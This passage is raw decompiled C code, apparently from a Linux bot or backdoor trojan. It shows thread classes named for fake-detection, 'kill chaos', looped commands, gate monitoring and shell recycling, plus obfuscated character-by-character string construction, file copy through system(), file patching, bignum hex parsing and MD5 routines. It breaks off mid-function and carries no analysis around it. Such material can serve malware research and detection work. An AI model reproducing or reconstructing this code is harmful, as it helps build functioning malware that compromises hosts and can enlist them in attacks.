KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); g95 = 256; g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4 = g98; int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, (int32_t)g2, v3, v6, v5, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x807e912 - 0x807e97b int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__357(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t a4) { int32_t result = (int32_t)a1; // 0x807e918 std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66((struct struct_3 *)a1, a2, &a4); int32_t v1; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v1, (int32_t *)a1); g95 = result; int32_t v2 = *(int32_t *)a1; // 0x807e943 std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_((int32_t *)v2, a2, (char *)a3); std__allocator_lt_char_gt_(); *(int32_t *)(result + 4) = *(int32_t *)a1 + (int32_t)a2; return result; } // Address range: 0x808379e - 0x80837c7 int32_t CThreadClientStatus_425(struct struct_3 * a1, int32_t result) { // 0x808379e CThread((struct struct_78 *)a1); a1->e0 = 0x8105478; *(int32_t *)((int32_t)a1 + 52) = result; return result; } // Address range: 0x80838e8 - 0x8083933 int32_t CThreadConnection_429(struct struct_61 * a1, int32_t a2, int32_t a3, int32_t a4) { // 0x80838e8 CThread((struct struct_78 *)a1); a1->e0 = 0x81054d0; *(int32_t *)((int32_t)a1 + 52) = a2; *(int32_t *)((int32_t)a1 + 56) = a3; *(int32_t *)((int32_t)a1 + 60) = a4; *(int16_t *)((int32_t)a1 + 64) = 0; int32_t result = (int32_t)a1; // 0x808392e *(char *)(result + 66) = 0; return result; } // Address range: 0x8083aec - 0x8083b05 int32_t CThreadConnection__CloseSocket(int32_t a1) { // 0x8083aec return CNetBase__Close(*(int32_t *)(a1 + 56)); } // Address range: 0x8083bc4 - 0x8083c81 int32_t CThreadFXConnection_433(struct struct_62 * a1, int32_t a2, int32_t a3) { // 0x8083bc4 CThread((struct struct_78 *)a1); a1->e0 = 0x81054e8; g95 = a2; *(int32_t *)((int32_t)a1 + 52) = a2; int32_t v1; std__allocator_lt_char_gt__598(v1); struct struct_62 * v2 = (struct struct_62 *)((int32_t)a1 + 56); // 0x8083c0c_0 int32_t v3; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v2->e0, a3, v1, v3, (int32_t)NULL, 0); std__allocator_lt_char_gt_(); *(int32_t *)((int32_t)a1 + 60) = 0; *(int16_t *)((int32_t)a1 + 64) = 0; int32_t result = (int32_t)a1; // 0x8083c56 *(char *)(result + 66) = 0; return result; } // Address range: 0x8083e66 - 0x8083e7f int32_t CThreadFXConnection__CloseSocket(int32_t a1) { // 0x8083e66 return CNetBase__Close(*(int32_t *)(a1 + 60)); } // Address range: 0x8083ea2 - 0x8083ec3 int32_t CThreadDoFun_437(int32_t * a1) { // 0x8083ea2 CThread((struct struct_78 *)a1); *a1 = 0x8105530; return (int32_t)a1; } // Address range: 0x80841f2 - 0x808430f int32_t CThreadFakeDetect_441(struct struct_63 * a1, int32_t a2) { // 0x80841f2 CThread((struct struct_78 *)a1); a1->e0 = 0x8105578; *(char *)((int32_t)a1 + 52) = 0; *(int32_t *)((int32_t)a1 + 56) = 0; *(int32_t *)((int32_t)a1 + 60) = 0; *(int32_t *)((int32_t)a1 + 64) = 0; *(int32_t *)((int32_t)a1 + 68) = 0; *(int32_t *)((int32_t)a1 + 72) = 0; *(int32_t *)((int32_t)a1 + 76) = 0; *(int32_t *)((int32_t)a1 + 80) = 0; *(int32_t *)((int32_t)a1 + 84) = 0; *(int32_t *)((int32_t)a1 + 88) = 0; *(int32_t *)((int32_t)a1 + 92) = 0; *(int32_t *)((int32_t)a1 + 96) = 0; CThreadCondition_524(); *(int32_t *)((int32_t)a1 + 172) = 0; *(int32_t *)((int32_t)a1 + 176) = a2; return CThreadCondition__InitCondition((int32_t)a1 + 100); } // Address range: 0x8086e62 - 0x8086e83 int32_t CThreadKillChaos_449(int32_t * a1) { // 0x8086e62 CThread((struct struct_78 *)a1); *a1 = 0x8105690; return (int32_t)a1; } // Address range: 0x8087074 - 0x808719b int32_t CThreadLoopCmd_453(struct struct_3 * a1, int32_t a2) { // 0x8087074 CThread((struct struct_78 *)a1); a1->e0 = 0x81056c8; CThreadMutex_531(); CThreadCondition_524(); CLoopCmd((struct struct_14 *)((int32_t)a1 + 148)); *(int32_t *)((int32_t)a1 + 164) = -1; CLoopCmd__operator_eq_(&((struct struct_14 *)((int32_t)a1 + 148))->e0, a2); CThreadMutex__InitMutex((int32_t)a1 + 52); return CThreadCondition__InitCondition((int32_t)a1 + 76); } // Address range: 0x8087752 - 0x80877eb int32_t CThreadMonGates_457(int32_t * a1, int32_t a2) { // 0x8087752 int32_t v1; int32_t v2 = v1; // bp-9 int32_t v3 = (int32_t)a1; // 0x8087759 CThread((struct struct_78 *)a1); g95 = v3; *a1 = 0x8105710; std__allocator_lt_char_gt__598(v1); int32_t * v4; int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)(v3 + 52), a2, v1, v5, (int32_t)v4, 0); std__allocator_lt_char_gt_(); return &v2; } // Address range: 0x80879ee - 0x8087a17 int32_t CThreadRecycle_461(struct struct_3 * a1, int32_t result) { // 0x80879ee CThread((struct struct_78 *)a1); a1->e0 = 0x8105758; *(int32_t *)((int32_t)a1 + 52) = result; return result; } // Address range: 0x8088556 - 0x808857f int32_t CThreadShellRecycle_469(struct struct_3 * a1, int32_t result) { // 0x8088556 CThread((struct struct_78 *)a1); a1->e0 = 0x8105820; *(int32_t *)((int32_t)a1 + 52) = result; return result; } // Address range: 0x808866e - 0x8088697 int32_t CThreadTaskGates_473(struct struct_3 * a1, int32_t result) { // 0x808866e CThread((struct struct_78 *)a1); a1->e0 = 0x8105858; *(int32_t *)((int32_t)a1 + 52) = result; return result; } // Address range: 0x808a5be - 0x808a5f3 int32_t CAutoLock_492(struct struct_68 * a1, int32_t a2, uint32_t a3) { char v1 = a3; // 0x808a5c7 g95 = a2; a1->e0 = a2; a1->e1 = v1; int32_t result; // 0x808a5f3_11 if (v1 != 0) { // 0x808a5e1 result = CThreadMutex__Lock(a1->e0); // branch -> 0x808a5f2 } else { result = g95 & -256 | a3 % 256; } // 0x808a5f2 return result; } // Address range: 0x808a5f4 - 0x808a61d int32_t CAutoLock__Unlock(struct struct_68 * a1) { int32_t v1 = (int32_t)a1; // 0x808a5fa g95 = v1; int32_t v2 = (int32_t)a1->e1 | v1 & -256; // 0x808a5fd int32_t * v3; // 0x808a61d_11 if (v2 != 0) { // 0x808a604 CThreadMutex__Unlock(a1->e0); *(char *)((int32_t)a1 + 4) = 0; v3 = &a1->e0; // branch -> 0x808a61c } else { v3 = (int32_t *)v2; } // 0x808a61c return (int32_t)v3; } // Address range: 0x808a61e - 0x808a633 void CAutoLock_493(struct struct_68 * a1) { // 0x808a61e CAutoLock__Unlock(a1); } // Address range: 0x808a702 - 0x808a751 int32_t CFileOp__ReadFile(int32_t ** a1, int32_t fd, char * buf, int32_t nbyte) { // 0x808a702 if (a1 == NULL || buf == NULL) { // 0x808a74d return -1; } int32_t result = read(fd, buf, nbyte); // 0x808a72a if (result == -1) { // 0x808a73b *a1 = (int32_t *)*__errno_location(); // branch -> 0x808a747 } // 0x808a747 // branch -> 0x808a74d // 0x808a74d return result; } // Address range: 0x808a752 - 0x808a767 int32_t CFileOp__CloseFile(int32_t fd) { // 0x808a752 return close(fd); } // Address range: 0x808a768 - 0x808a787 int32_t CFileOp__FileExists(char * path) { // 0x808a768 return access(path, (int32_t)g2) == 0; } // Address range: 0x808a788 - 0x808a81d int32_t CFileOp__OpenFile(int32_t ** a1, char * path, int32_t a3, int32_t a4) { // 0x808a788 if (a1 == NULL) { // 0x808a818 return -1; } int32_t v1 = CFileOp__FileExists(path); // 0x808a7a3 int32_t v2 = 0; if (a4 != 0) { // 0x808a7b4 v2 = v1 == 1 ? 0 : 64; // branch -> 0x808a7dd } int32_t fd = open(path, v2 | a3); // 0x808a7f5 if (fd == -1) { // 0x808a806 *a1 = (int32_t *)*__errno_location(); // branch -> 0x808a812 } // 0x808a812 g95 = fd; // branch -> 0x808a818 // 0x808a818 return fd; } // Address range: 0x808a8a6 - 0x808a8c3 int32_t CFileOp__RemoveFile(char * file_path) { // 0x808a8a6 return remove(file_path) == 0; } // Address range: 0x808a922 - 0x808a97f int32_t CFileOp__C0pyFile(int32_t a1, int32_t a2) { // 0x808a922 int32_t * v1; memcpy(v1, (int32_t *)0x8105c40, 256); _IO_sprintf((int32_t)v1, (int32_t)"cp %s %s", a1); int32_t system_rc = system((char *)v1); // 0x808a96d int32_t result = system_rc == 0; // 0x808a977 g95 = result | system_rc & -256; return result; } // Address range: 0x808a9d6 - 0x808aa0b int32_t CFileOp__GetTgtFileSize(char * path) { // 0x808a9d6 int32_t * buf; int32_t v1 = stat(path, buf); // 0x808a9e6 int32_t result; if (((int32_t)(v1 == 0) || v1 & -256) != 0) { // 0x808a9f7 // branch -> 0x808aa06 } else { result = 0; } // 0x808aa06 return result; } // Address range: 0x808ab06 - 0x808ac47 int32_t CFileOp__ModifyFile(char * path, int32_t * a2, int32_t * a3, int32_t a4, int32_t * a5) { struct struct_6 * v1 = NULL; // bp-32 int32_t v2 = g98; // 0x808ab0b int32_t * v3; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, a3, (int32_t)v3); int32_t fd = open(path, O_RDWR); // 0x808ab2a int32_t result = 0; // 0x808ac201 if (fd > 0) { int32_t v4 = (int32_t)a2; // 0x808ab47 struct struct_18 * v5 = g2; // 0x808ab53_7 int32_t v6 = (int32_t)v5; // 0x808ab53 __libc_lseek(fd, v4, v6); g98 = (int32_t)a3; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v5->e0); __libc_write(); __libc_lseek(fd, v4, v6); int32_t v7 = (int32_t)a5; // 0x808ab93 g98 = v7; int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v5->e0); // 0x808ab9f memcpy((int32_t *)v8, (int32_t *)a4, g98); g98 = v7; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v5->e0); __libc_write(); close(fd); result = 1; // branch -> 0x808ac11 } // 0x808ac11 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); g98 = v2; return result; } // Address range: 0x808ac48 - 0x808ac7b int32_t CIHNs5r(int32_t * a1) { // 0x808ac48 *a1 = 1; int32_t v1 = 0; // bp-8 *(int32_t *)(4 + (int32_t)a1) = 0; int32_t v2 = v1 + 1; // 0x808ac71 v1 = v2; // branch -> 0x808ac60 while (v2 < 35) { // 0x808ac60 *(int32_t *)((int32_t)a1 + 4 + 4 * v2) = 0; v2 = v1 + 1; v1 = v2; // continue -> 0x808ac60 } // 0x808ac79 return &v1; } // Address range: 0x808ac7c - 0x808ac81 void CIHNs5r_500(void) { // 0x808ac7c return; } // Address range: 0x808ac82 - 0x808acbb int32_t CIHNs5r_501(int32_t * a1, struct struct_1 * a2) { // 0x808ac82 *a1 = a2->e0; int32_t v1 = 0; // bp-8 int32_t v2 = (int32_t)a1 + 4; // 0x808acab *(int32_t *)v2 = a2->e1[0]; int32_t v3 = v1 + 1; // 0x808acb29 v1 = v3; if (v3 >= 35) { // 0x808acba return &v1; } *(int32_t *)(v2 + 4 * v3) = a2->e1[v3]; int32_t v4 = v1 + 1; // 0x808acb2 v1 = v4; while (v4 < 35) { // 0x808ac9b v3 = v4; *(int32_t *)(v2 + 4 * v3) = a2->e1[v3]; v4 = v1 + 1; v1 = v4; // continue -> 0x808ac9b } // 0x808acba return &v1; } // Address range: 0x808acbc - 0x808ad53 int32_t CIHNs5r__Udjf66(struct struct_1 * a1, struct struct_1 * a2) { // 0x808acbc if (a1->e0 > a2->e0) { // 0x808ad4f return 1; } // 0x808acd9 if (a1->e0 < a2->e0) { // 0x808ad4f return -1; } int32_t v1 = a1->e0 - 1; // 0x808acf5 if (v1 > 0) { while (true) { int32_t result = 1; if (a1->e1[v1] <= a2->e1[v1]) { // 0x808ad1c if (a1->e1[v1] >= a2->e1[v1]) { int32_t v2 = v1 - 1; // 0x808ad40 if (v2 <= 0) { // break -> 0x808ad42 break; } v1 = v2; // continue -> 0x808acfb continue; } else { result = -1; } } // 0x808ad4f // branch -> 0x808ad4f // 0x808ad4f return result; } // 0x808ad42 // branch -> 0x808ad4f } // 0x808ad4f return 0; } // Address range: 0x808ae0e - 0x808b017 int32_t CIHNs5r__Udjf67(int32_t * a1, int32_t * a2, struct struct_1 * a3) { struct struct_1 * v1 = NULL; // bp-160 int32_t v2 = std__string__length(a2); // 0x808ae1d int32_t * v3 = (int32_t *)v2; // 0x808ae1d_3 int32_t v4 = (int32_t)g2; // 0x808ae32 CIHNs5r__Udjf34_354((struct struct_52 *)a1, v4, v4); if (v2 <= 0) { // 0x808b015 return 0; } int32_t v5 = 0; // 0x808b00c11 // branch -> 0x808ae46 int32_t result; // 0x808b007 while (true) { // 0x808ae46 int32_t * v6; CIHNs5r__Udjf31(v6, (struct struct_1 *)a1, a3); CIHNs5r__Udjf34(a1, (struct struct_1 *)v6); CIHNs5r_500(); int32_t v7 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808ae8c int32_t v8 = (int32_t)*(char *)v7 | v7 & -256; // 0x808ae94 int32_t v9 = v8; // 0x808aec214 int32_t v10; int32_t v11; // 0x808aec2 if (v8 >= 48) { int32_t v12 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808aea4 int32_t v13 = (int32_t)*(char *)v12 | v12 & -256; // 0x808aeac if (v13 <= 57) { v11 = v13; v10 = 1; lab_0x9608370:; int32_t v14 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808aef8 unsigned char v15 = *(char *)v14; // 0x808af00 struct struct_1 * v16; // 0x808afc7_0 if ((v11 & -256 || v10) == 0) { int32_t v17 = (int32_t)v15 | v14 & -256; // 0x808af00 int32_t v18 = v17; // 0x808af2e18 int32_t v19; int32_t v20; // 0x808af2e if (v17 >= 65) { int32_t v21 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808af10 int32_t v22 = (int32_t)*(char *)v21 | v21 & -256; // 0x808af18 if (v22 <= 70) { v20 = v22; v19 = 1; lab_0x1795e810:; int32_t v23 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808af61 unsigned char v24 = *(char *)v23; // 0x808af69 if ((v20 & -256 || v19) == 0) { int32_t v25 = (int32_t)v24 | v23 & -256; // 0x808af69 int32_t v26 = v25; // 0x808af9722 char v27; int32_t v28; // 0x808af97 if (v25 >= 97) { int32_t v29 = std__string__operator_lsb__rsb__663(a2, v5); // 0x808af79 int32_t v30 = (int32_t)*(char *)v29 | v29 & -256; // 0x808af81 if (v30 <= 102) { v28 = v30; v27 = 1; lab_0x6074640: // 0x808af97 if (((int32_t)v27 || v28 & -256) == 0) { // 0x808afc0 v16 = NULL; // branch -> 0x808afc7 } else { char v31 = *(char *)std__string__operator_lsb__rsb__663(a2, v5); // 0x808afb3 v16 = (struct struct_1 *)((int32_t)v31 - 87); // branch -> 0x808afc7 } lab_0x6076360: // 0x808afc7 CIHNs5r__Udjf32_505(&v1->e0, a1, (int32_t)v16); CIHNs5r__Udjf34(a1, v1); CIHNs5r_500(); result = v5 + 1; if ((int32_t *)result >= v3) { // break -> 0x808b015 break; } v5 = result; // continue -> 0x808ae46 continue; } else { v26 = v30; } } // 0x808af90 v28 = v26; v27 = 0; // branch -> 0x808af97 goto lab_0x6074640; } else { // 0x808af38 v16 = (struct struct_1 *)((int32_t)v24 - 55); // branch -> 0x808afc7 goto lab_0x6076360; } lab_0x60798b0: // 0x808afc7 CIHNs5r__Udjf32_505(&v1->e0, a1, (int32_t)v16); CIHNs5r__Udjf34(a1, v1); CIHNs5r_500(); result = v5 + 1; if ((int32_t *)result >= v3) { // break -> 0x808b015 break; } v5 = result; // continue -> 0x808ae46 continue; } else { v18 = v22; } } // 0x808af27 v20 = v18; v19 = 0; // branch -> 0x808af2e goto lab_0x1795e810; } else { // 0x808aecc v16 = (struct struct_1 *)((int32_t)v15 - 48); // branch -> 0x808afc7 goto lab_0x60798b0; } struct struct_1 * v32 = v1; // 0x808afd8_3 CIHNs5r__Udjf32_505(&v32->e0, a1, (int32_t)v16); struct struct_1 * v33 = v1; // 0x808afed CIHNs5r__Udjf34(a1, v33); CIHNs5r_500(); result = v5 + 1; if ((int32_t *)result >= v3) { // break -> 0x808b015 break; } v5 = result; // continue -> 0x808ae46 continue; } else { v9 = v13; } } // 0x808aebb v11 = v9; v10 = 0; // branch -> 0x808aec2 goto lab_0x9608370; } // 0x808b015 return result; } // Address range: 0x808b018 - 0x808b23f int32_t CIHNs5r__Udjf68(struct struct_3 * a1, int32_t * a2, struct struct_1 * a3) { struct struct_1 * v1 = NULL; // bp-160 if (a1->e0 == 1) { // 0x808b02c if (a1->e1 == 0) { // 0x808b036 // branch -> 0x808b23a // 0x808b23a return std__string__operator_eq_((int32_t **)a2, "0"); } } // 0x808b04e std__string__operator_eq_((int32_t **)a2, ""); int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t * v4; int32_t * v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"0123456789ABCDEF", v2, v6, (int32_t)v5, (int32_t)v4); std__allocator_lt_char_gt_(); CIHNs5r(v4); int32_t * v7; CIHNs5r_501(v7, (struct struct_1 *)a1); CIHNs5r__Udjf34(v4, (struct struct_1 *)v7); CIHNs5r_500(); int32_t v8; if (v8 == 0) { // 0x808b1eb CIHNs5r_500(); int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); // 0x808b204 // branch -> 0x808b23a // 0x808b23a return result; } while (true) { int32_t v9 = CIHNs5r__Udjf01_506((struct struct_1 *)v4, (int32_t)a3); // 0x808b132 std__string__operator_lsb__rsb__663(&v3, v9); char v10; std__string__insert_649(a2, (int32_t **)g2, 1, v10); CIHNs5r__Udjf00(&v1->e0, v4, &a3->e0); CIHNs5r__Udjf34(v4, v1); CIHNs5r_500(); // branch -> 0x808b125 } } // Address range: 0x808b988 - 0x808ba65 int32_t CIHNs5r__Udjf32_505(int32_t * a1, int32_t * a2, int32_t a3) { int32_t result = (int32_t)a1; // 0x808b991 CIHNs5r(a1); int32_t * v1; CIHNs5r_501(v1, (struct struct_1 *)a2); CIHNs5r__Udjf34(a1, (struct struct_1 *)v1); CIHNs5r_500(); int32_t v2 = result + 4; // 0x808b9d7 int32_t * v3 = (int32_t *)v2; // 0x808b9d7_0 uint32_t v4 = *v3; // 0x808b9d7 uint32_t v5 = v4 + a3; // 0x808b9f0 *v3 = v5; if (v5 < v4 == false) { // 0x808ba0a // branch -> 0x808ba61 } else { int32_t * v6 = (int32_t *)(result + 8); // 0x808ba32_05 int32_t * v7 = v6; if (*v6 == -1) { *v6 = 0; int32_t v8 = 2; // 0x808ba2a int32_t * v9 = (int32_t *)(4 * v8 + v2); // 0x808ba32_0 v7 = v9; while (*v9 == -1) { // 0x808ba19 *v9 = 0; v8++; v9 = (int32_t *)(4 * v8 + v2); v7 = v9; // continue -> 0x808ba19 } // 0x808ba3b *v7 = *v7 + 1; if (*a2 == v8) { // 0x808ba54 *a2 = *a2 + 1; // branch -> 0x808ba61 } // 0x808ba61 return result; } // 0x808ba3b *v7 = *v7 + 1; if (*a2 == 1) { // 0x808ba54 *a2 = *a2 + 1; // branch -> 0x808ba61 } } // 0x808ba61 return result; } // Address range: 0x808ba68 - 0x808bc19 int32_t CIHNs5r__Udjf00(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x808ba68 CIHNs5r((int32_t *)*a1); int32_t * v1; CIHNs5r_501(v1, (struct struct_1 *)a2); CIHNs5r__Udjf34((int32_t *)*a1, (struct struct_1 *)v1); CIHNs5r_500(); int32_t v2 = *a1; // 0x808bac1 if (*(int32_t *)*a1 == 1) { // 0x808bac1 *(int32_t *)(v2 + 4) = a1[1] / *a3; // branch -> 0x808bc0c } else { int32_t v3 = *(int32_t *)v2 - 1; // 0x808bb02 int32_t * v4 = a1; int32_t * v5; // 0x808bc07_0 int32_t v6; // 0x808bbf9 if (v3 > 0) { uint32_t v7 = (int32_t)a3; // 0x808bb49 int32_t v8 = (int32_t)g2; // 0x808bb59 int32_t v9 = 0; // bp+059 int32_t v10 = a1[1]; // 0x808bb30 g101 = v3; int32_t * v11; int32_t v12 = (int32_t)v11; // 0x808bb59 int32_t v13; int32_t v14; // 0x808bbad311 int32_t v15; // 0x0410 int32_t v16 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0); // 0x808bb59 a1[1] = v16; int32_t v17 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0); // 0x808bb75 v4 = a1; // branch -> 0x808bb0b while (v3 > 1) { // 0x808bb0b g102 = 0; v3--; v14 = v17; v15 = g97; v9 = v10 - (int32_t)((int64_t)v17 * (int64_t)v7); v10 = a1[1]; g101 = v3; v12 = (int32_t)a3; v16 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0); a1[1] = v16; v17 = __udivdi3(v10, v9, v7, v8, v13, 0, v12, 0, v14, v15, 0, 0, 0, 0, 0, 0); v4 = a1; // continue -> 0x808bb0b } // 0x808bbf3 v6 = *(int32_t *)*v4; if (*(int32_t *)(*v4 + 4 + 4 * (v6 - 1)) == 0) { // 0x808bc04 v5 = (int32_t *)*v4; *v5 = *v5 - 1; // branch -> 0x808bc0c } // 0x808bc0c return *a1; } // 0x808bbf3 v6 = *(int32_t *)*v4; if (*(int32_t *)(*v4 + 4 + 4 * (v6 - 1)) == 0) { // 0x808bc04 v5 = (int32_t *)*v4; *v5 = *v5 - 1; // branch -> 0x808bc0c } } // 0x808bc0c return *a1; } // Address range: 0x808bc1a - 0x808bce7 int32_t CIHNs5r__Udjf01_506(struct struct_1 * a1, int32_t a2) { int32_t v1 = g102; // 0x808bc1d int32_t v2 = g101; // 0x808bc1e int32_t result; if (a1->e0 == 1) { // 0x808bc2d int32_t * v3; result = a1->e1[0] % *v3; // branch -> 0x808bcda } else { int32_t v4 = a1->e0 - 1; // 0x808bc59 if (v4 > 0) { int32_t v5 = (int32_t)g2; // 0x808bcbe int32_t v6 = 0; // 0x808bcd437 // branch -> 0x808bc5f while (true) { int32_t v7 = a1->e1[v4]; // 0x808bc65 g101 = 0; g102 = v6; int32_t v8; int32_t v9; int32_t v10 = __umoddi3(v7, v6, a2, v5, v9, v5, 0, v6, 0, v8, v7, v6, v5); // 0x808bcbe int32_t v11 = v4 - 1; // 0x808bccc if (v11 > 0) { // 0x808bc5f v4 = v11; v6 = v10; // branch -> 0x808bc5f continue; } else { result = v10; } } } else { result = 0; } } // 0x808bcda g101 = v2; g102 = v1; return result; } // Address range: 0x808bd86 - 0x808bdc7 int32_t CMd5A____MD5Init(struct struct_75 * a1) { int32_t result = (int32_t)a1; // 0x808bd89 a1->e5 = 0; a1->e4 = a1->e5; a1->e0 = 0x67452301; a1->e1 = -0x10325477; a1->e2 = -0x67452302; *(int32_t *)(result + 12) = 0x10325476; return result; } // Address range: 0x808bdc8 - 0x808bdf7 int32_t CMd5A____MD5_memcpy(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x808bdc8 if (a3 == NULL) { // 0x808bdf6 return 0; } int32_t v1 = 0; // 0x808bdf17 char v2 = *(char *)(v1 + (int32_t)a2); // 0x808bde5 *(char *)(v1 + (int32_t)a1) = v2; int32_t result = v1 + 1; // 0x808bdec // branch -> 0x808bdd7 while ((int32_t *)result < a3) { // 0x808bdd7 v1 = result; v2 = *(char *)(v1 + (int32_t)a2); *(char *)(v1 + (int32_t)a1) = v2; result = v1 + 1; // continue -> 0x808bdd7 } // 0x808bdf6 return result; } // Address range: 0x808bdf8 - 0x808be83 int32_t CMd5A____Encode(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t result = 0; if (a3 != NULL) { int32_t v1 = 0; // 0x808be7c10 int32_t v2 = 0; // 0x808be7118 // branch -> 0x808be0e while (true) { int32_t v3 = v1 + (int32_t)a1; // 0x808be13 *(char *)v3 = (char)a2[v2]; *(char *)(v3 + 1) = (char)(a2[v2] / 256); *(char *)(v3 + 2) = (char)(a2[v2] / 0x10000); *(char *)(v3 + 3) = (char)(a2[v2] / 0x1000000); int32_t v4 = v1 + 4; // 0x808be76 if ((int32_t *)v4 < a3) { // 0x808be0e v1 = v4; v2++; // branch -> 0x808be0e continue; } else { result = v4; } } } // 0x808be81 return result; } // Address range: 0x808be84 - 0x808beaf int32_t CMd5A____MD5_memset(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x808be84 if (a3 == NULL) { // 0x808bead return 0; } int32_t v1 = 0; // 0x808bea87 *(char *)(v1 + (int32_t)a1) = (char)(int32_t)a2; int32_t result = v1 + 1; // 0x808bea3 // branch -> 0x808be93 while ((int32_t *)result < a3) { // 0x808be93 v1 = result; *(char *)(v1 + (int32_t)a1) = (char)(int32_t)a2; result = v1 + 1; // continue -> 0x808be93 } // 0x808bead return result; } // Address range: 0x808beb0 - 0x808bf29 int32_t CMd5A____Decode(int32_t * a1, int32_t * a2, uint32_t a3) { int32_t result = 0; if (a3 != 0) { int32_t v1 = 0; int32_t v2 = 0; // 0x808bf1818 while (true) { int32_t v3 = v1 + (int32_t)a2; // 0x808bed4 unsigned char v4 = *(char *)v3; // 0x808bed7 unsigned char v5 = *(char *)(v3 + 1); // 0x808bee3 unsigned char v6 = 